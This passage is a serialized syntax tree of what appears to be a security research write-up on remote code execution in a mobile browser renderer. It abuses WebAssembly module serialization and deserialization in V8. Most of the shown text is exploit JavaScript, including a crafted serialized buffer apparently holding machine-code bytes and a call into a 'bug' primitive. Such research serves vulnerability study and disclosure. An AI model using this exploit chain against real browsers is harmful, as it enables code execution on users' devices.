0x393e71a",{"type":23,"tag":213,"props":136339,"children":136340},{"style":220},[136341],{"type":28,"value":313},{"type":23,"tag":213,"props":136343,"children":136344},{"class":215,"line":543},[136345,136349,136353,136357,136361],{"type":23,"tag":213,"props":136346,"children":136347},{"style":220},[136348],{"type":28,"value":46925},{"type":23,"tag":213,"props":136350,"children":136351},{"style":1362},[136352],{"type":28,"value":48463},{"type":23,"tag":213,"props":136354,"children":136355},{"style":220},[136356],{"type":28,"value":400},{"type":23,"tag":213,"props":136358,"children":136359},{"style":268},[136360],{"type":28,"value":51507},{"type":23,"tag":213,"props":136362,"children":136363},{"style":220},[136364],{"type":28,"value":14870},{"type":23,"tag":213,"props":136366,"children":136367},{"class":215,"line":551},[136368,136372,136376,136380,136384,136388],{"type":23,"tag":213,"props":136369,"children":136370},{"style":268},[136371],{"type":28,"value":101997},{"type":23,"tag":213,"props":136373,"children":136374},{"style":220},[136375],{"type":28,"value":124},{"type":23,"tag":213,"props":136377,"children":136378},{"style":257},[136379],{"type":28,"value":102006},{"type":23,"tag":213,"props":136381,"children":136382},{"style":220},[136383],{"type":28,"value":265},{"type":23,"tag":213,"props":136385,"children":136386},{"style":246},[136387],{"type":28,"value":133373},{"type":23,"tag":213,"props":136389,"children":136390},{"style":220},[136391],{"type":28,"value":2867},{"type":23,"tag":213,"props":136393,"children":136394},{"class":215,"line":570},[136395,136399,136403],{"type":23,"tag":213,"props":136396,"children":136397},{"style":1362},[136398],{"type":28,"value":133385},{"type":23,"tag":213,"props":136400,"children":136401},{"style":268},[136402],{"type":28,"value":133390},{"type":23,"tag":213,"props":136404,"children":136405},{"style":220},[136406],{"type":28,"value":313},{"type":23,"tag":213,"props":136408,"children":136409},{"class":215,"line":655},[136410],{"type":23,"tag":213,"props":136411,"children":136412},{"style":220},[136413],{"type":28,"value":1208},{"type":23,"tag":24,"props":136415,"children":136416},{},[136417,136419,136425,136427,136433,136435,136441,136443,136448,136450,136456,136458,136463,136464,136470],{"type":28,"value":136418},"Here, ",{"type":23,"tag":209,"props":136420,"children":136422},{"className":136421},[],[136423],{"type":28,"value":136424},"a1 + 0x03027a6c",{"type":28,"value":136426}," generates the bytes ",{"type":23,"tag":209,"props":136428,"children":136430},{"className":136429},[],[136431],{"type":28,"value":136432},"01 4b 6c 7a 02 03",{"type":28,"value":136434},", where ",{"type":23,"tag":209,"props":136436,"children":136438},{"className":136437},[],[136439],{"type":28,"value":136440},"0x6c",{"type":28,"value":136442}," is the ",{"type":23,"tag":209,"props":136444,"children":136446},{"className":136445},[],[136447],{"type":28,"value":132966},{"type":28,"value":136449}," opcode, ",{"type":23,"tag":209,"props":136451,"children":136453},{"className":136452},[],[136454],{"type":28,"value":136455},"0x027a",{"type":28,"value":136457}," is the function ID of ",{"type":23,"tag":209,"props":136459,"children":136461},{"className":136460},[],[136462],{"type":28,"value":133008},{"type":28,"value":6580},{"type":23,"tag":209,"props":136465,"children":136467},{"className":136466},[],[136468],{"type":28,"value":136469},"0x03",{"type":28,"value":136471}," is the register index holding its first argument.",{"type":23,"tag":24,"props":136473,"children":136474},{},[136475,136477,136482,136483,136488,136490,136495],{"type":28,"value":136476},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":209,"props":136478,"children":136480},{"className":136479},[],[136481],{"type":28,"value":133008},{"type":28,"value":1466},{"type":23,"tag":209,"props":136484,"children":136486},{"className":136485},[],[136487],{"type":28,"value":133976},{"type":28,"value":136489},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":209,"props":136491,"children":136493},{"className":136492},[],[136494],{"type":28,"value":133976},{"type":28,"value":136496},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":202,"props":136498,"children":136500},{"code":136499,"language":35673,"meta":7,"className":35671,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[136501],{"type":23,"tag":209,"props":136502,"children":136503},{"__ignoreMap":7},[136504,136512,136572,136584],{"type":23,"tag":213,"props":136505,"children":136506},{"class":215,"line":216},[136507],{"type":23,"tag":213,"props":136508,"children":136509},{"style":537},[136510],{"type":28,"value":136511},"// %WasmTierUpFunction(func);\n",{"type":23,"tag":213,"props":136513,"children":136514},{"class":215,"line":226},[136515,136519,136523,136527,136531,136535,136539,136543,136547,136551,136556,136560,136564,136568],{"type":23,"tag":213,"props":136516,"children":136517},{"style":1362},[136518],{"type":28,"value":3489},{"type":23,"tag":213,"props":136520,"children":136521},{"style":220},[136522],{"type":28,"value":400},{"type":23,"tag":213,"props":136524,"children":136525},{"style":230},[136526],{"type":28,"value":11871},{"type":23,"tag":213,"props":136528,"children":136529},{"style":268},[136530],{"type":28,"value":3494},{"type":23,"tag":213,"props":136532,"children":136533},{"style":274},[136534],{"type":28,"value":511},{"type":23,"tag":213,"props":136536,"children":136537},{"style":514},[136538],{"type":28,"value":517},{"type":23,"tag":213,"props":136540,"children":136541},{"style":220},[136542],{"type":28,"value":17277},{"type":23,"tag":213,"props":136544,"children":136545},{"style":268},[136546],{"type":28,"value":3826},{"type":23,"tag":213,"props":136548,"children":136549},{"style":274},[136550],{"type":28,"value":8804},{"type":23,"tag":213,"props":136552,"children":136553},{"style":514},[136554],{"type":28,"value":136555}," 0x100000",{"type":23,"tag":213,"props":136557,"children":136558},{"style":220},[136559],{"type":28,"value":17277},{"type":23,"tag":213,"props":136561,"children":136562},{"style":268},[136563],{"type":28,"value":3826},{"type":23,"tag":213,"props":136565,"children":136566},{"style":274},[136567],{"type":28,"value":51322},{"type":23,"tag":213,"props":136569,"children":136570},{"style":220},[136571],{"type":28,"value":14870},{"type":23,"tag":213,"props":136573,"children":136574},{"class":215,"line":524},[136575,136580],{"type":23,"tag":213,"props":136576,"children":136577},{"style":257},[136578],{"type":28,"value":136579}," func",{"type":23,"tag":213,"props":136581,"children":136582},{"style":220},[136583],{"type":28,"value":3759},{"type":23,"tag":213,"props":136585,"children":136586},{"class":215,"line":533},[136587],{"type":23,"tag":213,"props":136588,"children":136589},{"style":220},[136590],{"type":28,"value":1208},{"type":23,"tag":24,"props":136592,"children":136593},{},[136594],{"type":28,"value":136595},"Finally, running this code on the device:",{"type":23,"tag":202,"props":136597,"children":136599},{"code":136598,"language":35673,"meta":7,"className":35671,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[136600],{"type":23,"tag":209,"props":136601,"children":136602},{"__ignoreMap":7},[136603,136626,136654,136873,136940,136947,136990,137033,137072,137079,137087,137147,137159,137166,137173,137204,137247,137274,137281,137317,137380],{"type":23,"tag":213,"props":136604,"children":136605},{"class":215,"line":216},[136606,136610,136614,136618,136622],{"type":23,"tag":213,"props":136607,"children":136608},{"style":220},[136609],{"type":28,"value":265},{"type":23,"tag":213,"props":136611,"children":136612},{"style":230},[136613],{"type":28,"value":36203},{"type":23,"tag":213,"props":136615,"children":136616},{"style":220},[136617],{"type":28,"value":39754},{"type":23,"tag":213,"props":136619,"children":136620},{"style":230},[136621],{"type":28,"value":1445},{"type":23,"tag":213,"props":136623,"children":136624},{"style":220},[136625],{"type":28,"value":1375},{"type":23,"tag":213,"props":136627,"children":136628},{"class":215,"line":226},[136629,136634,136638,136642,136646,136650],{"type":23,"tag":213,"props":136630,"children":136631},{"style":230},[136632],{"type":28,"value":136633}," var",{"type":23,"tag":213,"props":136635,"children":136636},{"style":268},[136637],{"type":28,"value":133506},{"type":23,"tag":213,"props":136639,"children":136640},{"style":274},[136641],{"type":28,"value":511},{"type":23,"tag":213,"props":136643,"children":136644},{"style":230},[136645],{"type":28,"value":31989},{"type":23,"tag":213,"props":136647,"children":136648},{"style":257},[136649],{"type":28,"value":133519},{"type":23,"tag":213,"props":136651,"children":136652},{"style":220},[136653],{"type":28,"value":133524},{"type":23,"tag":213,"props":136655,"children":136656},{"class":215,"line":524},[136657,136661,136665,136669,136673,136677,136681,136685,136689,136693,136697,136701,136705,136709,136713,136717,136721,136725,136729,136733,136737,136741,136745,136749,136753,136757,136761,136765,136769,136773,136777,136781,136785,136789,136793,136797,136801,136805,136809,136813,136817,136821,136825,136829,136833,136837,136841,136845,136849,136853,136857,136861,136865,136869],{"type":23,"tag":213,"props":136658,"children":136659},{"style":514},[136660],{"type":28,"value":134249},{"type":23,"tag":213,"props":136662,"children":136663},{"style":220},[136664],{"type":28,"value":424},{"type":23,"tag":213,"props":136666,"children":136667},{"style":514},[136668],{"type":28,"value":133541},{"type":23,"tag":213,"props":136670,"children":136671},{"style":220},[136672],{"type":28,"value":424},{"type":23,"tag":213,"props":136674,"children":136675},{"style":514},[136676],{"type":28,"value":133550},{"type":23,"tag":213,"props":136678,"children":136679},{"style":220},[136680],{"type":28,"value":424},{"type":23,"tag":213,"props":136682,"children":136683},{"style":514},[136684],{"type":28,"value":133559},{"type":23,"tag":213,"props":136686,"children":136687},{"style":220},[136688],{"type":28,"value":424},{"type":23,"tag":213,"props":136690,"children":136691},{"style":514},[136692],{"type":28,"value":4106},{"type":23,"tag":213,"props":136694,"children":136695},{"style":220},[136696],{"type":28,"value":424},{"type":23,"tag":213,"props":136698,"children":136699},{"style":514},[136700],{"type":28,"value":4116},{"type":23,"tag":213,"props":136702,"children":136703},{"style":220},[136704],{"type":28,"value":424},{"type":23,"tag":213,"props":136706,"children":136707},{"style":514},[136708],{"type":28,"value":4116},{"type":23,"tag":213,"props":136710,"children":136711},{"style":220},[136712],{"type":28,"value":424},{"type":23,"tag":213,"props":136714,"children":136715},{"style":514},[136716],{"type":28,"value":4116},{"type":23,"tag":213,"props":136718,"children":136719},{"style":220},[136720],{"type":28,"value":424},{"type":23,"tag":213,"props":136722,"children":136723},{"style":514},[136724],{"type":28,"value":4106},{"type":23,"tag":213,"props":136726,"children":136727},{"style":220},[136728],{"type":28,"value":424},{"type":23,"tag":213,"props":136730,"children":136731},{"style":514},[136732],{"type":28,"value":17578},{"type":23,"tag":213,"props":136734,"children":136735},{"style":220},[136736],{"type":28,"value":424},{"type":23,"tag":213,"props":136738,"children":136739},{"style":514},[136740],{"type":28,"value":4106},{"type":23,"tag":213,"props":136742,"children":136743},{"style":220},[136744],{"type":28,"value":424},{"type":23,"tag":213,"props":136746,"children":136747},{"style":514},[136748],{"type":28,"value":133624},{"type":23,"tag":213,"props":136750,"children":136751},{"style":220},[136752],{"type":28,"value":424},{"type":23,"tag":213,"props":136754,"children":136755},{"style":514},[136756],{"type":28,"value":4116},{"type":23,"tag":213,"props":136758,"children":136759},{"style":220},[136760],{"type":28,"value":424},{"type":23,"tag":213,"props":136762,"children":136763},{"style":514},[136764],{"type":28,"value":4116},{"type":23,"tag":213,"props":136766,"children":136767},{"style":220},[136768],{"type":28,"value":424},{"type":23,"tag":213,"props":136770,"children":136771},{"style":514},[136772],{"type":28,"value":17346},{"type":23,"tag":213,"props":136774,"children":136775},{"style":220},[136776],{"type":28,"value":424},{"type":23,"tag":213,"props":136778,"children":136779},{"style":514},[136780],{"type":28,"value":3221},{"type":23,"tag":213,"props":136782,"children":136783},{"style":220},[136784],{"type":28,"value":424},{"type":23,"tag":213,"props":136786,"children":136787},{"style":514},[136788],{"type":28,"value":4106},{"type":23,"tag":213,"props":136790,"children":136791},{"style":220},[136792],{"type":28,"value":424},{"type":23,"tag":213,"props":136794,"children":136795},{"style":514},[136796],{"type":28,"value":4116},{"type":23,"tag":213,"props":136798,"children":136799},{"style":220},[136800],{"type":28,"value":424},{"type":23,"tag":213,"props":136802,"children":136803},{"style":514},[136804],{"type":28,"value":54724},{"type":23,"tag":213,"props":136806,"children":136807},{"style":220},[136808],{"type":28,"value":424},{"type":23,"tag":213,"props":136810,"children":136811},{"style":514},[136812],{"type":28,"value":55938},{"type":23,"tag":213,"props":136814,"children":136815},{"style":220},[136816],{"type":28,"value":424},{"type":23,"tag":213,"props":136818,"children":136819},{"style":514},[136820],{"type":28,"value":4106},{"type":23,"tag":213,"props":136822,"children":136823},{"style":220},[136824],{"type":28,"value":424},{"type":23,"tag":213,"props":136826,"children":136827},{"style":514},[136828],{"type":28,"value":18159},{"type":23,"tag":213,"props":136830,"children":136831},{"style":220},[136832],{"type":28,"value":424},{"type":23,"tag":213,"props":136834,"children":136835},{"style":514},[136836],{"type":28,"value":133550},{"type":23,"tag":213,"props":136838,"children":136839},{"style":220},[136840],{"type":28,"value":424},{"type":23,"tag":213,"props":136842,"children":136843},{"style":514},[136844],{"type":28,"value":133721},{"type":23,"tag":213,"props":136846,"children":136847},{"style":220},[136848],{"type":28,"value":424},{"type":23,"tag":213,"props":136850,"children":136851},{"style":514},[136852],{"type":28,"value":133730},{"type":23,"tag":213,"props":136854,"children":136855},{"style":220},[136856],{"type":28,"value":424},{"type":23,"tag":213,"props":136858,"children":136859},{"style":514},[136860],{"type":28,"value":133739},{"type":23,"tag":213,"props":136862,"children":136863},{"style":220},[136864],{"type":28,"value":424},{"type":23,"tag":213,"props":136866,"children":136867},{"style":514},[136868],{"type":28,"value":133739},{"type":23,"tag":213,"props":136870,"children":136871},{"style":220},[136872],{"type":28,"value":944},{"type":23,"tag":213,"props":136874,"children":136875},{"class":215,"line":533},[136876,136880,136884,136888,136892,136896,136900,136904,136908,136912,136916,136920,136924,136928,136932,136936],{"type":23,"tag":213,"props":136877,"children":136878},{"style":514},[136879],{"type":28,"value":134249},{"type":23,"tag":213,"props":136881,"children":136882},{"style":220},[136883],{"type":28,"value":424},{"type":23,"tag":213,"props":136885,"children":136886},{"style":514},[136887],{"type":28,"value":4116},{"type":23,"tag":213,"props":136889,"children":136890},{"style":220},[136891],{"type":28,"value":424},{"type":23,"tag":213,"props":136893,"children":136894},{"style":514},[136895],{"type":28,"value":89306},{"type":23,"tag":213,"props":136897,"children":136898},{"style":220},[136899],{"type":28,"value":424},{"type":23,"tag":213,"props":136901,"children":136902},{"style":514},[136903],{"type":28,"value":17578},{"type":23,"tag":213,"props":136905,"children":136906},{"style":220},[136907],{"type":28,"value":424},{"type":23,"tag":213,"props":136909,"children":136910},{"style":514},[136911],{"type":28,"value":4106},{"type":23,"tag":213,"props":136913,"children":136914},{"style":220},[136915],{"type":28,"value":424},{"type":23,"tag":213,"props":136917,"children":136918},{"style":514},[136919],{"type":28,"value":3221},{"type":23,"tag":213,"props":136921,"children":136922},{"style":220},[136923],{"type":28,"value":424},{"type":23,"tag":213,"props":136925,"children":136926},{"style":514},[136927],{"type":28,"value":4116},{"type":23,"tag":213,"props":136929,"children":136930},{"style":220},[136931],{"type":28,"value":424},{"type":23,"tag":213,"props":136933,"children":136934},{"style":514},[136935],{"type":28,"value":133815},{"type":23,"tag":213,"props":136937,"children":136938},{"style":220},[136939],{"type":28,"value":944},{"type":23,"tag":213,"props":136941,"children":136942},{"class":215,"line":543},[136943],{"type":23,"tag":213,"props":136944,"children":136945},{"style":220},[136946],{"type":28,"value":134536},{"type":23,"tag":213,"props":136948,"children":136949},{"class":215,"line":551},[136950,136954,136958,136962,136966,136970,136974,136978,136982,136986],{"type":23,"tag":213,"props":136951,"children":136952},{"style":230},[136953],{"type":28,"value":136633},{"type":23,"tag":213,"props":136955,"children":136956},{"style":268},[136957],{"type":28,"value":71677},{"type":23,"tag":213,"props":136959,"children":136960},{"style":274},[136961],{"type":28,"value":511},{"type":23,"tag":213,"props":136963,"children":136964},{"style":230},[136965],{"type":28,"value":31989},{"type":23,"tag":213,"props":136967,"children":136968},{"style":268},[136969],{"type":28,"value":133850},{"type":23,"tag":213,"props":136971,"children":136972},{"style":220},[136973],{"type":28,"value":124},{"type":23,"tag":213,"props":136975,"children":136976},{"style":257},[136977],{"type":28,"value":85972},{"type":23,"tag":213,"props":136979,"children":136980},{"style":220},[136981],{"type":28,"value":265},{"type":23,"tag":213,"props":136983,"children":136984},{"style":268},[136985],{"type":28,"value":133867},{"type":23,"tag":213,"props":136987,"children":136988},{"style":220},[136989],{"type":28,"value":2867},{"type":23,"tag":213,"props":136991,"children":136992},{"class":215,"line":570},[136993,136997,137001,137005,137009,137013,137017,137021,137025,137029],{"type":23,"tag":213,"props":136994,"children":136995},{"style":230},[136996],{"type":28,"value":136633},{"type":23,"tag":213,"props":136998,"children":136999},{"style":268},[137000],{"type":28,"value":133883},{"type":23,"tag":213,"props":137002,"children":137003},{"style":274},[137004],{"type":28,"value":511},{"type":23,"tag":213,"props":137006,"children":137007},{"style":230},[137008],{"type":28,"value":31989},{"type":23,"tag":213,"props":137010,"children":137011},{"style":268},[137012],{"type":28,"value":133850},{"type":23,"tag":213,"props":137014,"children":137015},{"style":220},[137016],{"type":28,"value":124},{"type":23,"tag":213,"props":137018,"children":137019},{"style":257},[137020],{"type":28,"value":133904},{"type":23,"tag":213,"props":137022,"children":137023},{"style":220},[137024],{"type":28,"value":265},{"type":23,"tag":213,"props":137026,"children":137027},{"style":268},[137028],{"type":28,"value":133913},{"type":23,"tag":213,"props":137030,"children":137031},{"style":220},[137032],{"type":28,"value":2867},{"type":23,"tag":213,"props":137034,"children":137035},{"class":215,"line":655},[137036,137040,137044,137048,137052,137056,137060,137064,137068],{"type":23,"tag":213,"props":137037,"children":137038},{"style":230},[137039],{"type":28,"value":136633},{"type":23,"tag":213,"props":137041,"children":137042},{"style":268},[137043],{"type":28,"value":80062},{"type":23,"tag":213,"props":137045,"children":137046},{"style":274},[137047],{"type":28,"value":511},{"type":23,"tag":213,"props":137049,"children":137050},{"style":268},[137051],{"type":28,"value":133883},{"type":23,"tag":213,"props":137053,"children":137054},{"style":220},[137055],{"type":28,"value":124},{"type":23,"tag":213,"props":137057,"children":137058},{"style":268},[137059],{"type":28,"value":37944},{"type":23,"tag":213,"props":137061,"children":137062},{"style":220},[137063],{"type":28,"value":124},{"type":23,"tag":213,"props":137065,"children":137066},{"style":268},[137067],{"type":28,"value":133953},{"type":23,"tag":213,"props":137069,"children":137070},{"style":220},[137071],{"type":28,"value":313},{"type":23,"tag":213,"props":137073,"children":137074},{"class":215,"line":1176},[137075],{"type":23,"tag":213,"props":137076,"children":137077},{"emptyLinePlaceholder":18},[137078],{"type":28,"value":530},{"type":23,"tag":213,"props":137080,"children":137081},{"class":215,"line":1202},[137082],{"type":23,"tag":213,"props":137083,"children":137084},{"style":537},[137085],{"type":28,"value":137086}," // %WasmTierUpFunction(func);\n",{"type":23,"tag":213,"props":137088,"children":137089},{"class":215,"line":1758},[137090,137095,137099,137103,137107,137111,137115,137119,137123,137127,137131,137135,137139,137143],{"type":23,"tag":213,"props":137091,"children":137092},{"style":1362},[137093],{"type":28,"value":137094}," for",{"type":23,"tag":213,"props":137096,"children":137097},{"style":220},[137098],{"type":28,"value":400},{"type":23,"tag":213,"props":137100,"children":137101},{"style":230},[137102],{"type":28,"value":11871},{"type":23,"tag":213,"props":137104,"children":137105},{"style":268},[137106],{"type":28,"value":3494},{"type":23,"tag":213,"props":137108,"children":137109},{"style":274},[137110],{"type":28,"value":511},{"type":23,"tag":213,"props":137112,"children":137113},{"style":514},[137114],{"type":28,"value":517},{"type":23,"tag":213,"props":137116,"children":137117},{"style":220},[137118],{"type":28,"value":17277},{"type":23,"tag":213,"props":137120,"children":137121},{"style":268},[137122],{"type":28,"value":3826},{"type":23,"tag":213,"props":137124,"children":137125},{"style":274},[137126],{"type":28,"value":8804},{"type":23,"tag":213,"props":137128,"children":137129},{"style":514},[137130],{"type":28,"value":136555},{"type":23,"tag":213,"props":137132,"children":137133},{"style":220},[137134],{"type":28,"value":17277},{"type":23,"tag":213,"props":137136,"children":137137},{"style":268},[137138],{"type":28,"value":3826},{"type":23,"tag":213,"props":137140,"children":137141},{"style":274},[137142],{"type":28,"value":51322},{"type":23,"tag":213,"props":137144,"children":137145},{"style":220},[137146],{"type":28,"value":14870},{"type":23,"tag":213,"props":137148,"children":137149},{"class":215,"line":1767},[137150,137155],{"type":23,"tag":213,"props":137151,"children":137152},{"style":257},[137153],{"type":28,"value":137154}," func",{"type":23,"tag":213,"props":137156,"children":137157},{"style":220},[137158],{"type":28,"value":3759},{"type":23,"tag":213,"props":137160,"children":137161},{"class":215,"line":1789},[137162],{"type":23,"tag":213,"props":137163,"children":137164},{"style":220},[137165],{"type":28,"value":5964},{"type":23,"tag":213,"props":137167,"children":137168},{"class":215,"line":1812},[137169],{"type":23,"tag":213,"props":137170,"children":137171},{"emptyLinePlaceholder":18},[137172],{"type":28,"value":530},{"type":23,"tag":213,"props":137174,"children":137175},{"class":215,"line":1838},[137176,137180,137184,137188,137192,137196,137200],{"type":23,"tag":213,"props":137177,"children":137178},{"style":230},[137179],{"type":28,"value":7943},{"type":23,"tag":213,"props":137181,"children":137182},{"style":268},[137183],{"type":28,"value":135989},{"type":23,"tag":213,"props":137185,"children":137186},{"style":274},[137187],{"type":28,"value":511},{"type":23,"tag":213,"props":137189,"children":137190},{"style":257},[137191],{"type":28,"value":135998},{"type":23,"tag":213,"props":137193,"children":137194},{"style":220},[137195],{"type":28,"value":265},{"type":23,"tag":213,"props":137197,"children":137198},{"style":268},[137199],{"type":28,"value":133913},{"type":23,"tag":213,"props":137201,"children":137202},{"style":220},[137203],{"type":28,"value":2867},{"type":23,"tag":213,"props":137205,"children":137206},{"class":215,"line":1851},[137207,137211,137215,137219,137223,137227,137231,137235,137239,137243],{"type":23,"tag":213,"props":137208,"children":137209},{"style":268},[137210],{"type":28,"value":136034},{"type":23,"tag":213,"props":137212,"children":137213},{"style":274},[137214],{"type":28,"value":511},{"type":23,"tag":213,"props":137216,"children":137217},{"style":220},[137218],{"type":28,"value":400},{"type":23,"tag":213,"props":137220,"children":137221},{"style":1362},[137222],{"type":28,"value":32972},{"type":23,"tag":213,"props":137224,"children":137225},{"style":268},[137226],{"type":28,"value":135989},{"type":23,"tag":213,"props":137228,"children":137229},{"style":220},[137230],{"type":28,"value":124},{"type":23,"tag":213,"props":137232,"children":137233},{"style":257},[137234],{"type":28,"value":57618},{"type":23,"tag":213,"props":137236,"children":137237},{"style":220},[137238],{"type":28,"value":136063},{"type":23,"tag":213,"props":137240,"children":137241},{"style":268},[137242],{"type":28,"value":39209},{"type":23,"tag":213,"props":137244,"children":137245},{"style":220},[137246],{"type":28,"value":313},{"type":23,"tag":213,"props":137248,"children":137249},{"class":215,"line":1864},[137250,137254,137258,137262,137266,137270],{"type":23,"tag":213,"props":137251,"children":137252},{"style":268},[137253],{"type":28,"value":101997},{"type":23,"tag":213,"props":137255,"children":137256},{"style":220},[137257],{"type":28,"value":124},{"type":23,"tag":213,"props":137259,"children":137260},{"style":257},[137261],{"type":28,"value":102006},{"type":23,"tag":213,"props":137263,"children":137264},{"style":220},[137265],{"type":28,"value":265},{"type":23,"tag":213,"props":137267,"children":137268},{"style":268},[137269],{"type":28,"value":9168},{"type":23,"tag":213,"props":137271,"children":137272},{"style":220},[137273],{"type":28,"value":2867},{"type":23,"tag":213,"props":137275,"children":137276},{"class":215,"line":1890},[137277],{"type":23,"tag":213,"props":137278,"children":137279},{"emptyLinePlaceholder":18},[137280],{"type":28,"value":530},{"type":23,"tag":213,"props":137282,"children":137283},{"class":215,"line":1899},[137284,137288,137293,137297,137301,137305,137309,137313],{"type":23,"tag":213,"props":137285,"children":137286},{"style":230},[137287],{"type":28,"value":7943},{"type":23,"tag":213,"props":137289,"children":137290},{"style":268},[137291],{"type":28,"value":137292}," result_bytes",{"type":23,"tag":213,"props":137294,"children":137295},{"style":274},[137296],{"type":28,"value":511},{"type":23,"tag":213,"props":137298,"children":137299},{"style":230},[137300],{"type":28,"value":31989},{"type":23,"tag":213,"props":137302,"children":137303},{"style":257},[137304],{"type":28,"value":133519},{"type":23,"tag":213,"props":137306,"children":137307},{"style":220},[137308],{"type":28,"value":265},{"type":23,"tag":213,"props":137310,"children":137311},{"style":268},[137312],{"type":28,"value":9168},{"type":23,"tag":213,"props":137314,"children":137315},{"style":220},[137316],{"type":28,"value":2867},{"type":23,"tag":213,"props":137318,"children":137319},{"class":215,"line":1912},[137320,137324,137328,137332,137336,137340,137344,137348,137352,137356,137360,137364,137368,137372,137376],{"type":23,"tag":213,"props":137321,"children":137322},{"style":268},[137323],{"type":28,"value":101997},{"type":23,"tag":213,"props":137325,"children":137326},{"style":220},[137327],{"type":28,"value":124},{"type":23,"tag":213,"props":137329,"children":137330},{"style":257},[137331],{"type":28,"value":102006},{"type":23,"tag":213,"props":137333,"children":137334},{"style":220},[137335],{"type":28,"value":265},{"type":23,"tag":213,"props":137337,"children":137338},{"style":246},[137339],{"type":28,"value":134086},{"type":23,"tag":213,"props":137341,"children":137342},{"style":274},[137343],{"type":28,"value":8989},{"type":23,"tag":213,"props":137345,"children":137346},{"style":268},[137347],{"type":28,"value":137292},{"type":23,"tag":213,"props":137349,"children":137350},{"style":220},[137351],{"type":28,"value":124},{"type":23,"tag":213,"props":137353,"children":137354},{"style":257},[137355],{"type":28,"value":134103},{"type":23,"tag":213,"props":137357,"children":137358},{"style":220},[137359],{"type":28,"value":265},{"type":23,"tag":213,"props":137361,"children":137362},{"style":246},[137363],{"type":28,"value":134112},{"type":23,"tag":213,"props":137365,"children":137366},{"style":220},[137367],{"type":28,"value":298},{"type":23,"tag":213,"props":137369,"children":137370},{"style":274},[137371],{"type":28,"value":2703},{"type":23,"tag":213,"props":137373,"children":137374},{"style":246},[137375],{"type":28,"value":134125},{"type":23,"tag":213,"props":137377,"children":137378},{"style":220},[137379],{"type":28,"value":2867},{"type":23,"tag":213,"props":137381,"children":137382},{"class":215,"line":1921},[137383],{"type":23,"tag":213,"props":137384,"children":137385},{"style":220},[137386],{"type":28,"value":102038},{"type":23,"tag":24,"props":137388,"children":137389},{},[137390],{"type":28,"value":137391},"We get the serialized bytes:",{"type":23,"tag":24,"props":137393,"children":137394},{},[137395],{"type":23,"tag":4009,"props":137396,"children":137399},{"alt":137397,"src":137398},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":24,"props":137401,"children":137402},{},[137403,137405,137410],{"type":28,"value":137404},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":209,"props":137406,"children":137408},{"className":137407},[],[137409],{"type":28,"value":132982},{"type":28,"value":277},{"type":23,"tag":202,"props":137412,"children":137414},{"code":137413,"language":35673,"meta":7,"className":35671,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[137415],{"type":23,"tag":209,"props":137416,"children":137417},{"__ignoreMap":7},[137418,137441,137468,137687,137754,137761,137788,137999,138250,138501,138725,138907,139128,139206,139213,139260,139303,139339,139382,139421,139448],{"type":23,"tag":213,"props":137419,"children":137420},{"class":215,"line":216},[137421,137425,137429,137433,137437],{"type":23,"tag":213,"props":137422,"children":137423},{"style":220},[137424],{"type":28,"value":265},{"type":23,"tag":213,"props":137426,"children":137427},{"style":230},[137428],{"type":28,"value":36203},{"type":23,"tag":213,"props":137430,"children":137431},{"style":220},[137432],{"type":28,"value":39754},{"type":23,"tag":213,"props":137434,"children":137435},{"style":230},[137436],{"type":28,"value":1445},{"type":23,"tag":213,"props":137438,"children":137439},{"style":220},[137440],{"type":28,"value":1375},{"type":23,"tag":213,"props":137442,"children":137443},{"class":215,"line":226},[137444,137448,137452,137456,137460,137464],{"type":23,"tag":213,"props":137445,"children":137446},{"style":230},[137447],{"type":28,"value":36246},{"type":23,"tag":213,"props":137449,"children":137450},{"style":268},[137451],{"type":28,"value":133506},{"type":23,"tag":213,"props":137453,"children":137454},{"style":274},[137455],{"type":28,"value":511},{"type":23,"tag":213,"props":137457,"children":137458},{"style":230},[137459],{"type":28,"value":31989},{"type":23,"tag":213,"props":137461,"children":137462},{"style":257},[137463],{"type":28,"value":133519},{"type":23,"tag":213,"props":137465,"children":137466},{"style":220},[137467],{"type":28,"value":133524},{"type":23,"tag":21